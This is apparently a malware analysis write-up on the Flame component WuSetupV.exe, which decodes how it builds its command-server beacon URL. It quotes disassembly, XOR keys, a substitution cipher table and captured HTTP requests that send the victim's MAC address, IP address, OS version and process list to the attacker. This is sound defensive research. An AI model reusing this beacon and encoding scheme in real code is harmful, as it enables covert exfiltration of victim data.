Basically the main functionality of the WuSetupV.exe of Flame is to create a special URL, download the main component of Flame using the special URL, store it and install it on the victim computer.
The most interesting topic is what type of data is stored inside the URL created by WuSetupV as it uses multiple parameters, like
GET /view.php?mp=1&jz=4073875454&fd=28369876&am=55597C801D14&ef=40474645&pr=0&ec=0&ov=666641736666417766664174pl=gspnZGygMcK0Gnng|spnZGy|nynn|0ncnn|TWvDKoKv|nGcRW0Gn|Dnann|Rya0ZjD8|nR0jKnZ|nR0jKnZ|nR0jKnZ|nR0jKnZ|nR0jKnZ|n8KKDnR|GU8DKcGc|-2TacGCcap|RyZKKDne|RyZKKDne|aDo|Tn0vZLp|Txax0DZ|qxsGZx8-4GUg|cGoGeWZ|qxsGZx8-| HTTP/1.1
So let’s see how the parts of the URL are created.
The “jz=” parameter is created randomly, but reused if error occurs and second download is done. This means the value might be used multiple times within the same session, hence it is a session id.
The value is converted to decimal. The random generator is a well known simple one, the main part is
.text:00403489 mov eax, dword_4053C0
.text:0040348E imul eax, 343FDh
.text:00403494 add eax, 269EC3h ;
.text:00403499 mov dword_4053C0, eax
.text:0040349E sar eax, 10h
.text:004034A1 and eax, 7FFFh
The “am=” parameter, handled around sub_401426, contains a hex string, which is bytewise xor’d with 0x55. The hex string is 48 bits long and contains the interface MAC address. In this case am=55597C801D14 refers to the 00:0c:29:d5:48:41 VMware MAC address.
The “ef=” parameter is the IP address or IP addresses (concatenated) of the client computer, most likely it is useful if proxy server or NAT is used. The parameter is character-wise XORd with 0x44 at each byte, with the subroutine described below for parameter “ov=” (loc_402A30), and represented in hex string. In this way 0x40474645 represents IP address 1.2.3.4.
The “ov=” parameter contains Windows version information. The string “ov=666641736666417766664174” can be separated into three 8-character hex string
66664173
66664177
66664174
All three parts are XOR’d with 0x66 at the end by the following simple code fragment:
.text:00402A30 loc_402A30: ; CODE XREF: xor_encr_sub_402A2E+12j
.text:00402A30 mov eax, [esp+arg_0]
.text:00402A34 mov dl, [esp+arg_4]
.text:00402A38 add eax, ecx
.text:00402A3A xor [eax], dl
.text:00402A3C inc ecx
.text:00402A3D cmp ecx, 4
.text:00402A40 jb short loc_402A30
.text:00402A42 retn
The original values are:
2715
2711
2712
The originals of all of these three values are 0x2710 added as follows:
.text:0040159D mov eax, [ebp+VersionInformation.dwMajorVersion]
.text:004015A3 push 66h ; int
.text:004015A5 add eax, 2710h
.text:004015AA push edi ; lpString1
.text:004015AB push eax ; int
.text:004015AC call xor_and_printf08x_sub_402A63
.text:004015B1 add esp, 0Ch
.text:004015B4 test eax, eax
.text:004015B6 jz short loc_4015FE
.text:004015B8 mov eax, [ebp+VersionInformation.dwMinorVersion]
.text:004015BE add dword ptr [esi], 8
.text:004015C1 push 66h ; int
.text:004015C3 add eax, 2710h
.text:004015C8 push edi ; lpString1
.text:004015C9 push eax ; int
.text:004015CA call xor_and_printf08x_sub_402A63
.text:004015CF add esp, 0Ch
.text:004015D2 test eax, eax
.text:004015D4 jz short loc_4015FE
.text:004015D6 mov eax, [ebp+VersionInformation.dwPlatformId]
.text:004015DC add dword ptr [esi], 8
.text:004015DF push 66h ; int
.text:004015E1 add eax, 2710h
.text:004015E6 push edi ; lpString1
.text:004015E7 push eax ; int
.text:004015E8 call xor_and_printf08x_sub_402A63
Therefore, the string above represents
dwMajorVersion = 5
dwMinorVersion = 1
dwPlatformId = 2
From which 5.1 represents Windows XP, and VER_PLATFORM_WIN32_NT==2 as dwPlatformId.
The “fd=” parameter stores HKEY_CURRENT_USER\Console\StandardSize or in HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\LowRegistry dword in decimal form, depending on the Windows version. In our case it is 28369876, which is 0x01B0E3D4 in hex. This variable in the registry is not standard. If it does not exist, the StandardSize parameter is created by WuSetupV.exe as a random number seeded with time information, and stored in the registry; the related code is the following:
.text:00403C01 call time_rnd_seed_sub_4025BF
.text:00403C06 call rndgen3_4times_sub_402637
.text:00403C0B mov [esi], eax
.text:00403C0D mov dword ptr [edi], 1
.text:00403C13 mov edx, [esi]
.text:00403C15 push edx ; Data
.text:00403C16 call set_standardsize_key_sub_403DB0
The difference between “jc=” and “fd=” is that “jc=” is a session identifier, re-used only within a single run of WuSetupV.exe, while “fd=” is a permanent id for the particular computer stored in the registry.
Interestingly, libclanattack Lua script also uses StandardSize, but the corresponding key is in TimeZoneInformation:
1 [-]: GETUPVAL R0 U0 ; R0 := U0
2 [-]: GETTABLE R0 R0 K0 ; R0 := R0["remoteSafety"]
3 [-]: SELF R0 R0 K1 ; R1 := R0; R0 := R0["getRegDword"]
4 [-]: LOADK R2 K2 ; R2 := "HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation"
5 [-]: LOADK R3 K3 ; R3 := "StandardSize"
6 [-]: TAILCALL R0 4 0 ; R0,... := R0(R1,R2,R3)
7 [-]: RETURN R0 0 ; return R0,...
8 [-]: RETURN R0 1 ; return
The “pr=” parameter is set according to the existence of the StandardSize parameter. If it was found by the program, then “pr=0”, if it is the first start of the malicious WuSetupV, then “pr=1” shows to the server that this is a new installation.
WuSetupV.exe looks for the registry key
SYSTEM\CurrentControlSet\Control\TimeZoneInformation
But it is not interested in the time zone. In reality it looks for the StandardDateBias data inside the registry, then later it adds to “dd=” CGI parameter in decimal form. The real reason is unknown.
The longest part of the URL, the “pl=” CGI parameter is encrypted by a simple substitution table:
hXk1Qrbf6VH~29SMYAsCF-q7Omad0eGLojWi.DyvK8zcnZxRTUpwE_B5tuNPIJgl43
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-.
This way for the query
GET /view.php?mp=1&jz=4073875454&fd=28369876&am=55597C801D14&ef=40474645&pr=0&ec=0&ov=666641736666417766664174pl=gspnZGygMcK0Gnng|spnZGy|nynn|0ncnn|TWvDKoKv|nGcRW0Gn|Dnann|Rya0ZjD8|nR0jKnZ|nR0jKnZ|nR0jKnZ|nR0jKnZ|nR0jKnZ|n8KKDnR|GU8DKcGc|-2TacGCcap|RyZKKDne|RyZKKDne|aDo|Tn0vZLp|Txax0DZ|qxsGZx8-4GUg|cGoGeWZ|qxsGZx8-| HTTP/1.1
Accept: /
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: mshome-f3be293c
Connection: Keep-Alive
the original value of “pl=”, which contains the list of current active processes, is in this case:
_System_Process_ System smss csrss winlogon services lsass vmacthlp svchost
svchost svchost svchost svchost spoolsv explorer VMwareTray vmtoolsd vmtoolsd alg
wscntfy wuauclt WuSetupV.ex_ regedit WuSetupV
Upon unsuccessful download, WuSetupV creates a second URL and sends it to the server like the one below:
GET /view.php?ac=1&jz=2203776806&fd=28369876&gb=0&rt=a0b0c0d HTTP/1.1
Summary of the URL parameters used by WuSetupV.exe
mp: is fixed 1 for first query
jz: session identifier
fd: computer identifier
am: MAC address of interface
ef: IP address
pr: is 0 if StandardSize already exists, pr=1 for new installations
ec: generally 0, probably some error checking related to ~DHF593.tmp file
ov: Windows version number
pl: Process list
ac: is fixed 1; used in second query
gb: 0, ??
rt: is a0b0c0d, ??
dd: value of StandardDateBias, if set
TODOs:
What exactly are gb, ec, rt good for?
How is the program related to ef_trace file?
